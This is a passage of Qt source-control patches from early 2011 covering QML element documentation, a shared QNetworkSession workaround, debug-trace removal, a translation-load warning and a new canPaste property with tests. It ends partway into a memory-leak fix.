{Flickable} - Provides a surface that can be "flicked" +\o \l {Flipable} - Provides a surface that produces "flipping" effects +\o \l {GestureArea} - Enables simple gesture handling +\endlist + +\section1 Positioners and Repeater +\list +\o \l {Column} - Arranges its children vertically +\o \l {Row} - Arranges its children horizontally +\o \l {Grid} - Positions its children in a grid +\o \l {Flow} - Positions its children with wrapping support +\o \l {Repeater} - Uses a model to create multiple components +\endlist + +\section1 Transformations +\list +\o \l {Scale} - Assigns item scaling behaviors +\o \l {Rotation} - Assigns item rotation behaviors +\o \l {Translate} - Assigns item translation behaviors +\endlist + +\section1 States +\list +\o \l {State} - Defines sets of configurations of objects and properties +\o \l {PropertyChanges} - Describes property changes within a state +\o \l {StateGroup} - Contains a set of states and state transitions +\o \l {StateChangeScript} - Allows script binding in a state +\o \l {ParentChange} - Re-parent an Item in a state change +\o \l {AnchorChanges} - Change the anchors of an item in a state +\endlist + +\section1 Animation and Transitions +\list +\o \l {Transition} - Animates transitions during state changes +\o \l {SequentialAnimation} - Runs animations sequentially +\o \l {ParallelAnimation} - Runs animations in parallel +\o \l {Behavior} - Specifies a default animation for property changes +\o \l {PropertyAction} - Sets immediate property changes during animation +\o \l {PauseAnimation} - Introduces a pause in an animation +\o \l {SmoothedAnimation} - Allows a property to smoothly track a value +\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion +\o \l {ScriptAction} - Runs scripts during an animation +\endlist + +Elements that animate properties based on data types +\list +\o \l {PropertyAnimation} - Animates property changes +\o \l {NumberAnimation} - Animates properties of type qreal +\o \l {Vector3dAnimation} - Animates properties of type QVector3d +\o \l {ColorAnimation} - Animates color changes +\o \l {RotationAnimation} - Animates rotations +\o \l {ParentAnimation} - Animates parent changes +\o \l {AnchorAnimation} - Animates anchor changes +\endlist + +\section1 Models and Data Handling +\list +\o \l {ListModel} - Defines a list of data +\o \l {ListElement} - Defines a data item in a \l {ListModel} +\o \l {VisualItemModel} - Contains items that already defines its own visual delegate +\o \l {VisualDataModel} - Encapsulates a model and a delegate +\o \l {XmlListModel} - Specifies a model using XPath expressions +\o \l {XmlRole} - Specifies a role for an \l {XmlListModel} +\o \l {Binding} - Binds any value to any property +\o \l {Package} - Collection that enables sharing of items within different views +\endlist + +\section1 Views +\list +\o \l {ListView} - Provides a list visualization of a model +\o \l {GridView} - Provides a grid visualization of a model +\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information. +\endlist + +\section1 Path Definition +\list +\o \l {Path} - Defines a path used by \l {PathView} +\o \l {PathLine} - Defines a line in \l {Path} +\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} +\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} +\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path} +\o \l {PathPercent} - Modifies the item distribution along a \l {Path} +\endlist + +\section1 Utility +\list +\o \l {Connections} - Explicitly connects signals and signal handlers +\o \l {Timer} - Provides timed triggers +\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt. +\o \l {WorkerScript} - Enables the use of threads in QML +\o \l {Loader} - Controls the loading of items or components +\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts +\endlist + +\section1 Graphical Effects +\list +\o \l {Particles} - Generates and animates particles +\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles} +\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles} +\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles} +\endlist + +\section1 Add-On Elements +These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings +should first be obtained and installed. +\list +\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents +\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins} +\endlist + */ @@ -148,7 +191,7 @@ \group qml-groups \title Groups Of Related QML Elements - \brief If you know what kind of QML element you want (Basic Visual, + \brief If you know what kind of QML element you want (Basic Visual, Interaction, Animation, etc), look here. This is a list of functional groups of QML elements. -- cgit v0.12 From ec4b73992eb7fb7254bb7a1524b8691ef2123b9f Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Wed, 5 Jan 2011 11:07:56 +0000 Subject: Workaround crash when multiple QNetworkAccessManager instances are used Instead of each QNetworkAccessManager owning a QNetworkSession, they now share a QNetworkSession if they have the same QNetworkConfiguration. QNetworkAccessManager now uses passive roaming instead of application level roaming. The state change signal (entering connected state) is used to indicate reconnection instead of being triggered when sending an ALR accept(). This preserves the previous behaviour, as QNAM always accepted the suggested access point from bearer mobility. In the case of multithreaded applications, one QNetworkSession will be created for each thread which uses QNetworkAccessManager, as QNetworkSession is not thread safe. Task-number: QT-4378 Reviewed-by: Markus Goetz Reviewed-by: juhvu --- src/network/access/qnetworkaccessmanager.cpp | 42 +++---------- src/network/access/qnetworkaccessmanager.h | 2 - src/network/access/qnetworkaccessmanager_p.h | 2 +- src/network/access/qnetworkreplyimpl.cpp | 6 +- src/network/bearer/bearer.pri | 6 +- src/network/bearer/qsharednetworksession.cpp | 90 ++++++++++++++++++++++++++++ src/network/bearer/qsharednetworksession_p.h | 81 +++++++++++++++++++++++++ 7 files changed, 188 insertions(+), 41 deletions(-) create mode 100644 src/network/bearer/qsharednetworksession.cpp create mode 100644 src/network/bearer/qsharednetworksession_p.h diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 5ceaed0..6b8dc9e 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -48,6 +48,7 @@ #include "qabstractnetworkcache.h" #include "QtNetwork/qnetworksession.h" +#include "qsharednetworksession_p.h" #include "qnetworkaccesshttpbackend_p.h" #include "qnetworkaccessftpbackend_p.h" @@ -1354,11 +1355,8 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co initializeSession = false; - if (networkSession) - delete networkSession; - if (!config.isValid()) { - networkSession = 0; + networkSession.clear(); online = false; if (networkAccessible == QNetworkAccessManager::NotAccessible) @@ -1369,18 +1367,12 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co return; } - networkSession = new QNetworkSession(config, q); + networkSession = QSharedNetworkSessionManager::getSession(config); - QObject::connect(networkSession, SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); - QObject::connect(networkSession, SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); - QObject::connect(networkSession, SIGNAL(stateChanged(QNetworkSession::State)), + QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); + QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); + QObject::connect(networkSession.data(), SIGNAL(stateChanged(QNetworkSession::State)), q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State))); - QObject::connect(networkSession, SIGNAL(newConfigurationActivated()), - q, SLOT(_q_networkSessionNewConfigurationActivated())); - QObject::connect(networkSession, - SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool)), - q, - SLOT(_q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool))); _q_networkSessionStateChanged(networkSession->state()); } @@ -1390,32 +1382,16 @@ void QNetworkAccessManagerPrivate::_q_networkSessionClosed() if (networkSession) { networkConfiguration = networkSession->configuration().identifier(); - networkSession->deleteLater(); - networkSession = 0; - } -} - -void QNetworkAccessManagerPrivate::_q_networkSessionNewConfigurationActivated() -{ - Q_Q(QNetworkAccessManager); - - if (networkSession) { - networkSession->accept(); - - emit q->networkSessionConnected(); + networkSession.clear(); } } -void QNetworkAccessManagerPrivate::_q_networkSessionPreferredConfigurationChanged(const QNetworkConfiguration &, bool) -{ - if (networkSession) - networkSession->migrate(); -} - void QNetworkAccessManagerPrivate::_q_networkSessionStateChanged(QNetworkSession::State state) { Q_Q(QNetworkAccessManager); + if (state == QNetworkSession::Connected) + emit q->networkSessionConnected(); if (online) { if (state != QNetworkSession::Connected && state != QNetworkSession::Roaming) { online = false; diff --git a/src/network/access/qnetworkaccessmanager.h b/src/network/access/qnetworkaccessmanager.h index f3e502c..7ef009f 100644 --- a/src/network/access/qnetworkaccessmanager.h +++ b/src/network/access/qnetworkaccessmanager.h @@ -161,8 +161,6 @@ private: Q_PRIVATE_SLOT(d_func(), void _q_replySslErrors(QList)) #if !defined(QT_NO_BEARERMANAGEMENT) && !defined(QT_MOBILITY_BEARER) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionClosed()) - Q_PRIVATE_SLOT(d_func(), void _q_networkSessionNewConfigurationActivated()) - Q_PRIVATE_SLOT(d_func(), void _q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool)) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionStateChanged(QNetworkSession::State)) #endif }; diff --git a/src/network/access/qnetworkaccessmanager_p.h b/src/network/access/qnetworkaccessmanager_p.h index ee16c25..cf4d2f3 100644 --- a/src/network/access/qnetworkaccessmanager_p.h +++ b/src/network/access/qnetworkaccessmanager_p.h @@ -128,7 +128,7 @@ public: #endif #ifndef QT_NO_BEARERMANAGEMENT - QNetworkSession *networkSession; + QSharedPointer networkSession; QString networkConfiguration; QNetworkAccessManager::NetworkAccessibility networkAccessible; bool online; diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp index 53d3b11..9d7082c 100644 --- a/src/network/access/qnetworkreplyimpl.cpp +++ b/src/network/access/qnetworkreplyimpl.cpp @@ -91,7 +91,7 @@ void QNetworkReplyImplPrivate::_q_startOperation() // state changes. state = WaitingForSession; - QNetworkSession *session = manager->d_func()->networkSession; + QNetworkSession *session = manager->d_func()->networkSession.data(); if (session) { Q_Q(QNetworkReplyImpl); @@ -246,7 +246,7 @@ void QNetworkReplyImplPrivate::_q_networkSessionConnected() if (manager.isNull()) return; - QNetworkSession *session = manager->d_func()->networkSession; + QNetworkSession *session = manager->d_func()->networkSession.data(); if (!session) return; @@ -633,7 +633,7 @@ void QNetworkReplyImplPrivate::finished() if (!manager.isNull()) { #ifndef QT_NO_BEARERMANAGEMENT - QNetworkSession *session = manager->d_func()->networkSession; + QNetworkSession *session = manager->d_func()->networkSession.data(); if (session && session->state() == QNetworkSession::Roaming && state == Working && errorCode != QNetworkReply::OperationCanceledError) { // only content with a known size will fail with a temporary network failure error diff --git a/src/network/bearer/bearer.pri b/src/network/bearer/bearer.pri index 44e97fd..684e02b 100644 --- a/src/network/bearer/bearer.pri +++ b/src/network/bearer/bearer.pri @@ -7,12 +7,14 @@ HEADERS += bearer/qnetworkconfiguration.h \ bearer/qnetworkconfiguration_p.h \ bearer/qnetworksession_p.h \ bearer/qbearerengine_p.h \ - bearer/qbearerplugin_p.h + bearer/qbearerplugin_p.h \ + bearer/qsharednetworksession_p.h SOURCES += bearer/qnetworksession.cpp \ bearer/qnetworkconfigmanager.cpp \ bearer/qnetworkconfiguration.cpp \ bearer/qnetworkconfigmanager_p.cpp \ bearer/qbearerengine.cpp \ - bearer/qbearerplugin.cpp + bearer/qbearerplugin.cpp \ + bearer/qsharednetworksession.cpp diff --git a/src/network/bearer/qsharednetworksession.cpp b/src/network/bearer/qsharednetworksession.cpp new file mode 100644 index 0000000..51b3a32 --- /dev/null +++ b/src/network/bearer/qsharednetworksession.cpp @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qsharednetworksession_p.h" +#include "qbearerengine_p.h" +#include + +#ifndef QT_NO_BEARERMANAGEMENT + +QT_BEGIN_NAMESPACE + +QThreadStorage tls; + +inline QSharedNetworkSessionManager* sharedNetworkSessionManager() +{ + QSharedNetworkSessionManager* rv = tls.localData(); + if (!rv) { + rv = new QSharedNetworkSessionManager; + tls.setLocalData(rv); + } + return rv; +} + +QSharedPointer QSharedNetworkSessionManager::getSession(QNetworkConfiguration config) +{ + QSharedNetworkSessionManager *m(sharedNetworkSessionManager()); + //if already have a session, return it + if (m->sessions.contains(config)) { + QSharedPointer p = m->sessions.value(config).toStrongRef(); + if (!p.isNull()) + return p; + } + //otherwise make one + QSharedPointer session(new QNetworkSession(config)); + m->sessions[config] = session; + return session; +} + +void QSharedNetworkSessionManager::setSession(QNetworkConfiguration config, QSharedPointer session) +{ + QSharedNetworkSessionManager *m(sharedNetworkSessionManager()); + m->sessions[config] = session; +} + +uint qHash(const QNetworkConfiguration& config) +{ + return ((uint)config.type()) | (((uint)config.bearerType()) << 8) | (((uint)config.purpose()) << 16); +} + +QT_END_NAMESPACE + +#endif // QT_NO_BEARERMANAGEMENT diff --git a/src/network/bearer/qsharednetworksession_p.h b/src/network/bearer/qsharednetworksession_p.h new file mode 100644 index 0000000..dc84166 --- /dev/null +++ b/src/network/bearer/qsharednetworksession_p.h @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QSHAREDNETWORKSESSIONPRIVATE_H +#define QSHAREDNETWORKSESSIONPRIVATE_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This header file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +#include "qnetworksession.h" +#include "qnetworkconfiguration.h" +#include +#include +#include +#include + +#ifndef QT_NO_BEARERMANAGEMENT + +QT_BEGIN_NAMESPACE + +class QSharedNetworkSessionManager +{ +public: + static QSharedPointer getSession(QNetworkConfiguration config); + static void setSession(QNetworkConfiguration config, QSharedPointer session); +private: + QHash > sessions; +}; + +QT_END_NAMESPACE + +#endif // QT_NO_BEARERMANAGEMENT + +#endif //QSHAREDNETWORKSESSIONPRIVATE_H + -- cgit v0.12 From 0dbb193973aa25f61bc541f4e7938deeaade2e75 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 17 Jan 2011 11:03:34 +1000 Subject: Remove unnecessary debug traces from declarative classes Task-number: Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativelistview.cpp | 1 - tools/qml/qmlruntime.cpp | 1 - 2 files changed, 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 470f947..0fe5fb4 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -2566,7 +2566,6 @@ void QDeclarativeListViewPrivate::positionViewAtIndex(int index, int mode) return; if (mode < QDeclarativeListView::Beginning || mode > QDeclarativeListView::Contain) return; -qDebug() << "positionViewAtIndex"; int idx = qMax(qMin(index, model->count()-1), 0); if (layoutScheduled) diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index b829528..31bb73b 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -586,7 +586,6 @@ QNetworkAccessManager *NetworkAccessManagerFactory::create(QObject *parent) } connect(manager, SIGNAL(destroyed(QObject*)), this, SLOT(managerDestroyed(QObject*))); namList.append(manager); - qDebug() << "created new network access manager for" << parent; return manager; } -- cgit v0.12 From 62087b2ec0afad240d61a61c7a2972d021e01695 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 17 Jan 2011 11:04:51 +1000 Subject: Add a warning when translating QML application in qmlviewer fails Task-number: Reviewed-by: Martin Jones --- tools/qml/main.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp index b5a4fd0..89f2f5e 100644 --- a/tools/qml/main.cpp +++ b/tools/qml/main.cpp @@ -550,8 +550,11 @@ int main(int argc, char ** argv) QTranslator qmlTranslator; if (!opts.translationFile.isEmpty()) { - qmlTranslator.load(opts.translationFile); - app.installTranslator(&qmlTranslator); + if (qmlTranslator.load(opts.translationFile)) { + app.installTranslator(&qmlTranslator); + } else { + qWarning() << "Could not load the translation file" << opts.translationFile; + } } if (opts.fullScreen && opts.maximized) -- cgit v0.12 From 8b6674e55118896dfecbcdc1960418dc2064f632 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Mon, 17 Jan 2011 14:07:33 +1000 Subject: Add canPaste property to TextInput and TextEdit Task-number: QTBUG-16190 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativetextedit.cpp | 28 ++++++++++++++++++++++ .../graphicsitems/qdeclarativetextedit_p.h | 5 ++++ .../graphicsitems/qdeclarativetextedit_p_p.h | 3 ++- .../graphicsitems/qdeclarativetextinput.cpp | 26 +++++++++++++++++++- .../graphicsitems/qdeclarativetextinput_p.h | 4 ++++ .../graphicsitems/qdeclarativetextinput_p_p.h | 3 ++- .../tst_qdeclarativetextedit.cpp | 8 +++++++ .../tst_qdeclarativetextinput.cpp | 9 +++++++ 8 files changed, 83 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 1539998..4a421b4 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -1342,6 +1342,21 @@ void QDeclarativeTextEdit::updateImgCache(const QRectF &rf) filtering at the beginning of the animation and reenable it at the conclusion. */ +/*! + \qmlproperty bool TextEdit::canPaste + + Returns true if the TextEdit is writable and the content of the clipboard is + suitable for pasting into the TextEdit. + + \since QtQuick 1.1 +*/ + +bool QDeclarativeTextEdit::canPaste() const +{ + Q_D(const QDeclarativeTextEdit); + return d->canPaste; +} + void QDeclarativeTextEditPrivate::init() { Q_Q(QDeclarativeTextEdit); @@ -1374,6 +1389,10 @@ void QDeclarativeTextEditPrivate::init() QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorPositionChanged())); QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorRectangleChanged())); QObject::connect(control, SIGNAL(linkActivated(QString)), q, SIGNAL(linkActivated(QString))); +#ifndef QT_NO_CLIPBOARD + QObject::connect(q, SIGNAL(readOnlyChanged(bool)), q, SLOT(q_canPasteChanged())); + QObject::connect(QApplication::clipboard(), SIGNAL(dataChanged()), q, SLOT(q_canPasteChanged())); +#endif document = control->document(); document->setDefaultFont(font); @@ -1648,4 +1667,13 @@ void QDeclarativeTextEdit::focusInEvent(QFocusEvent *event) QDeclarativePaintedItem::focusInEvent(event); } +void QDeclarativeTextEdit::q_canPasteChanged() +{ + Q_D(QDeclarativeTextEdit); + bool old = d->canPaste; + d->canPaste = d->control->canPaste(); + if(old!=d->canPaste) + emit canPasteChanged(); +} + QT_END_NAMESPACE diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 928d100..f28763e 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -92,6 +92,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged) Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints) Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) + Q_REVISION(1) Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged) public: QDeclarativeTextEdit(QDeclarativeItem *parent=0); @@ -185,6 +186,8 @@ public: bool selectByMouse() const; void setSelectByMouse(bool); + bool canPaste() const; + virtual void componentComplete(); /* FROM EDIT */ @@ -233,6 +236,7 @@ Q_SIGNALS: void textMarginChanged(qreal textMargin); void selectByMouseChanged(bool selectByMouse); Q_REVISION(1) void linkActivated(const QString &link); + Q_REVISION(1) void canPasteChanged(); public Q_SLOTS: void selectAll(); @@ -251,6 +255,7 @@ private Q_SLOTS: void updateSelectionMarkers(); void moveCursorDelegate(); void loadCursorDelegate(); + void q_canPasteChanged(); private: void updateSize(); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h index 45d342f..6da91df 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h @@ -73,7 +73,7 @@ public: showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0), format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap), - selectByMouse(false), + selectByMouse(false), canPaste(false), yoff(0) { #ifdef Q_OS_SYMBIAN @@ -120,6 +120,7 @@ public: QDeclarativeTextEdit::WrapMode wrapMode; int lineCount; bool selectByMouse; + bool canPaste; int yoff; }; diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 491d219c4..bfdcc9b 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -1222,7 +1222,8 @@ void QDeclarativeTextInput::copy() void QDeclarativeTextInput::paste() { Q_D(QDeclarativeTextInput); - d->control->paste(); + if(!d->control->isReadOnly()) + d->control->paste(); } #endif // QT_NO_CLIPBOARD @@ -1321,6 +1322,12 @@ void QDeclarativeTextInput::setSelectByMouse(bool on) } } +bool QDeclarativeTextInput::canPaste() const +{ + Q_D(const QDeclarativeTextInput); + return d->canPaste; +} + void QDeclarativeTextInput::moveCursorSelection(int position) { Q_D(QDeclarativeTextInput); @@ -1569,6 +1576,12 @@ void QDeclarativeTextInputPrivate::init() q, SIGNAL(accepted())); q->connect(control, SIGNAL(updateNeeded(QRect)), q, SLOT(updateRect(QRect))); +#ifndef QT_NO_CLIPBOARD + q->connect(q, SIGNAL(readOnlyChanged(bool)), + q, SLOT(q_canPasteChanged())); + q->connect(QApplication::clipboard(), SIGNAL(dataChanged()), + q, SLOT(q_canPasteChanged())); +#endif // QT_NO_CLIPBOARD q->updateSize(); oldValidity = control->hasAcceptableInput(); lastSelectionStart = 0; @@ -1670,6 +1683,17 @@ void QDeclarativeTextInput::updateSize(bool needsRedraw) } } +void QDeclarativeTextInput::q_canPasteChanged() +{ + Q_D(QDeclarativeTextInput); + bool old = d->canPaste; +#ifndef QT_NO_CLIPBOARD + d->canPaste = !d->control->isReadOnly() && QApplication::clipboard()->text().length() != 0; +#endif + if(d->canPaste != old) + emit canPasteChanged(); +} + QT_END_NAMESPACE #endif // QT_NO_LINEEDIT diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 5bff2ea..582e626 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -95,6 +95,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged) Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged) Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) + Q_REVISION(1) Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged) public: QDeclarativeTextInput(QDeclarativeItem* parent=0); @@ -197,6 +198,7 @@ public: QVariant inputMethodQuery(Qt::InputMethodQuery property) const; QRectF boundingRect() const; + bool canPaste() const; Q_SIGNALS: void textChanged(); @@ -223,6 +225,7 @@ Q_SIGNALS: void activeFocusOnPressChanged(bool activeFocusOnPress); void autoScrollChanged(bool autoScroll); void selectByMouseChanged(bool selectByMouse); + Q_REVISION(1) void canPasteChanged(); protected: virtual void geometryChanged(const QRectF &newGeometry, @@ -256,6 +259,7 @@ private Q_SLOTS: void moveCursor(); void cursorPosChanged(); void updateRect(const QRect &r = QRect()); + void q_canPasteChanged(); private: Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeTextInput) diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h index 5ad6a3b..a3853c3 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h @@ -75,7 +75,7 @@ public: styleColor((QRgb)0), hAlign(QDeclarativeTextInput::AlignLeft), hscroll(0), oldScroll(0), focused(false), focusOnPress(true), showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false), - autoScroll(true), selectByMouse(false) + autoScroll(true), selectByMouse(false), canPaste(false) { #ifdef Q_OS_SYMBIAN if (QSysInfo::symbianVersion() == QSysInfo::SV_SF_1 || QSysInfo::symbianVersion() == QSysInfo::SV_SF_3) { @@ -130,6 +130,7 @@ public: bool cursorVisible; bool autoScroll; bool selectByMouse; + bool canPaste; }; QT_END_NAMESPACE diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index 649d34f..7578042 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -1111,10 +1111,18 @@ void tst_qdeclarativetextedit::copyAndPaste() { QCOMPARE(textEdit->selectedText(), QString("Hello world!")); QCOMPARE(textEdit->selectedText().length(), 12); textEdit->setCursorPosition(0); + QVERIFY(textEdit->canPaste()); textEdit->paste(); QCOMPARE(textEdit->text(), QString("Hello world!Hello world!")); QCOMPARE(textEdit->text().length(), 24); + // canPaste + QVERIFY(textEdit->canPaste()); + textEdit->setReadOnly(true); + QVERIFY(!textEdit->canPaste()); + textEdit->setReadOnly(false); + QVERIFY(textEdit->canPaste()); + // QTBUG-12339 // test that document and internal text attribute are in sync QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(textEdit); diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 964125f..d7e6a60 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -952,10 +952,18 @@ void tst_qdeclarativetextinput::copyAndPaste() { QCOMPARE(textInput->selectedText(), QString("Hello world!")); QCOMPARE(textInput->selectedText().length(), 12); textInput->setCursorPosition(0); + QVERIFY(textInput->canPaste()); textInput->paste(); QCOMPARE(textInput->text(), QString("Hello world!Hello world!")); QCOMPARE(textInput->text().length(), 24); + // can paste + QVERIFY(textInput->canPaste()); + textInput->setReadOnly(true); + QVERIFY(!textInput->canPaste()); + textInput->setReadOnly(false); + QVERIFY(textInput->canPaste()); + // select word textInput->setCursorPosition(0); textInput->selectWord(); @@ -973,6 +981,7 @@ void tst_qdeclarativetextinput::copyAndPaste() { QClipboard *clipboard = QApplication::clipboard(); QVERIFY(clipboard); clipboard->clear(); + QVERIFY(!textInput->canPaste()); // test that copy functionality is disabled // when echo mode is set to hide text/password mode -- cgit v0.12 From dd4243b62379d9a1d6e8a7f13b1f7c4fa3de2984 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 17 Jan 2011 14:18:39 +1000 Subject: Fix memory leak Introduced by 488e616b50707e5b37162e6d0cfc71a1ffdf9bef --- src/declarative/qml/qdeclarativebinding.cpp | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git 